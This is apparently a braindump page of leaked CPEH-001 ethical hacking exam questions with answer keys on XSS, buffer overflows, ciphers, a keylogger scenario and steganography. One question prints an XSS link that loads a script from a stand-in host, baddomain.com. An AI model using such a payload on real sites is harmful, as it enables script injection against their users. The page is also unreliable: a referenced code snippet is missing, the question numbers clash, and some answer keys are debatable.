Free CPEH-001 Exam Braindumps
Certified Professional Ethical Hacker (CPEH) Exam Questions 191–195 (page: 40)

Updated On: 9-Feb-2026

This is an attack that takes advantage of a web site vulnerability in which the site displays content that includes un-sanitized user-provided data.

<ahref="http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js %22%3E%3C/script%3E">See foobar</a>
What is this attack?

  1. Cross-site-scripting attack
  2. SQL Injection
  3. URL Traversal attack
  4. Buffer Overflow attack

Answer(s): A



Buffer X in an Accounting application module for Brownies Inc. can contain 200 characters. The programmer makes an assumption that 200 characters are more than enough. Because there were no proper boundary checks being conducted, Bob decided to insert 400 characters into the 200- character buffer. (Overflows the buffer). Below is the code snippet:



How can you protect/fix the problem of your application as shown above?

  1. Because the counter starts with 0, we would stop when the counter is less than 200
  2. Because the counter starts with 0, we would stop when the counter is more than 200
  3. Add a separate statement to signify that if we have written less than 200 characters to the buffer, the stack should stop because it cannot hold any more data
  4. Add a separate statement to signify that if we have written 200 characters to the buffer, the stack should stop because it cannot hold any more data

Answer(s): A,D



Which of the following encryption is NOT based on block cipher?

  1. DES
  2. Blowfish
  3. AES (Rijndael)
  4. RC4

Answer(s): D



Michael is a junior security analyst working for the National Security Agency (NSA) working primarily on breaking terrorist encrypted messages. The NSA has a number of methods they use to decipher encrypted messages including Government Access to Keys (GAK) and inside informants. The NSA holds secret backdoor keys to many of the encryption algorithms used on the Internet. The problem for the NSA, and Michael, is that terrorist organizations are starting to use custom-built algorithms or obscure algorithms purchased from corrupt governments. For this reason, Michael and other security analysts like him have been forced to find different methods of deciphering terrorist messages. One method that Michael thought of using was to hide malicious code inside seemingly harmless programs. Michael first monitors sites and bulletin boards used by known terrorists, and then he is able to glean email addresses to some of these suspected terrorists. Michael then inserts a stealth keylogger into a mapping program file readme.txt and then sends that as an attachment to the terrorist. This keylogger takes screenshots every 2 minutes and also logs all keyboard activity into a hidden file on the terrorist's computer. Then, the keylogger emails those files to Michael twice a day with a built in SMTP server.
What technique has Michael used to disguise this keylogging software?

  1. Steganography
  2. Wrapping
  3. ADS
  4. Hidden Channels

Answer(s): C



In which step Steganography fits in CEH System Hacking Cycle (SHC)

  1. Step 2: Crack the password
  2. Step 1: Enumerate users
  3. Step 3: Escalate privileges
  4. Step 4: Execute applications
  5. Step 5: Hide files
  6. Step 6: Cover your tracks

Answer(s): E



Viewing page 40 of 177
Viewing questions 196 - 200 out of 878 questions


Post your Comments and Discuss GAQM CPEH-001 exam prep with other Community members:

AI Tutor AI Tutor 👋 I’m here to help!